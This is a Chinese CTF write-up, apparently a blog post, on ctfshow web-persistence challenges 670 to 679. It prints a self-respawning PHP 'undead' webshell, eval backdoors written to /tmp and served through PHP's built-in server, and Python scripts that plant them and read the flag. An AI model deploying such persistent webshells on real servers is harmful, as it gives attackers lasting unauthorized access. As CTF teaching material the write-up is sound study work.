CTFSHOW权限维持篇

web670-web676

题目在进行check后,会删掉网站根目录下的所有文件。
方法一
预测是使用的如下命令

echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *

rm -rf *其实有个小缺陷,无法删除点号开头的文件,所以可以利用给的木马生成一个.shell.php的木马,check后还会保留。

方法二
使用反弹shell
不过题目是不出网的,所以这种方法暂时无法考虑。

方法三
可以使用不死马将木马写入内存。

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = 'shell.php';
    $code = '<?php @eval($_POST[1]);?>';
    while (1) {
        file_put_contents($file, $code);
        usleep(5000);
    }
?>
 

访问该不死马后,触发check,接着蚁剑连接shell.php即可拿到flag。
一键利用脚本

import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
	requests.get(url+'a.php',timeout=(1,1))
except:
	requests.get(url+'?action=check')
	r=requests.post(url+'shell.php',data={'1':'system("cat /f*");'})
	print(r.text)

web677、web678

和前面有点不同,没有写入权限(除了/tmp目录)
猜测check是先生成flag接着删掉了所有/var/www/html下的文件。
所以我们可以通过while循环持续的打开flag,当check时,页面上就会出现flag。
payload
cmd=system('while true;do cat /tmp/f*;done');

web679

check后会关闭nginx php-fpm等服务,不过我们可以利用php命令直接开启一个服务
php -S 0.0.0.0:80,哪个目录下运行该命令,哪个目录就被当作根目录。
有点类似于python开启web服务
python -m SimpleHTTPServer 80
大致流程如下:
1、/tmp目录可写,在该目录下生成木马文件
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php');
2、开启web服务
cmd=system('cd /tmp;php -S 0.0.0.0:80');
3、触发check
4、利用木马
但在实际使用中会发现,手动开启的web服务check后也会被停掉。
所以需要保证check后再开启web服务,也就是加个延时。

import requests
url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"

data1={'cmd':"system('cd /tmp;echo \"<?php eval(\$_POST[1]);?>\" > index.php');"}
r=requests.post(url+'?action=cmd',data=data1)


data2={'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
try:
	requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
except:
	requests.get(url+'?action=check')
	while True:
		r=requests.post(url,data={'1':'system("cat /f*");'})
		if "ctfshow{" in r.text:
			print(r.text)
			break
  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值